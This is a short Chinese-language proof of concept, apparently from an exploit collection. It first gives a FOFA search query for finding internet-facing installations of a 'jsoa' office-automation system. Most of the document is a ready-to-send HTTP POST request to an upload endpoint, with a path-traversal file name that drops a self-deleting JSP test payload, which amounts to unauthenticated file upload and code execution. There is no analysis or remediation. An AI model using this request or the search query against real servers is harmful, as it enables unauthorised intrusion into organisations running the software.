资产测绘：FOFA：body="/jsoa/webmail/ajax\_util.js"

POC：

POST /jsoa/wpsforlinux/src/upload\_l.jsp?openType=1&flowflag=1&userName=1&recordId=1 HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0

Content-Length: 102

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Upgrade-Insecure-Requests: 1

filename: /../../tologin.jsp

<%out.println(111\*111);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>

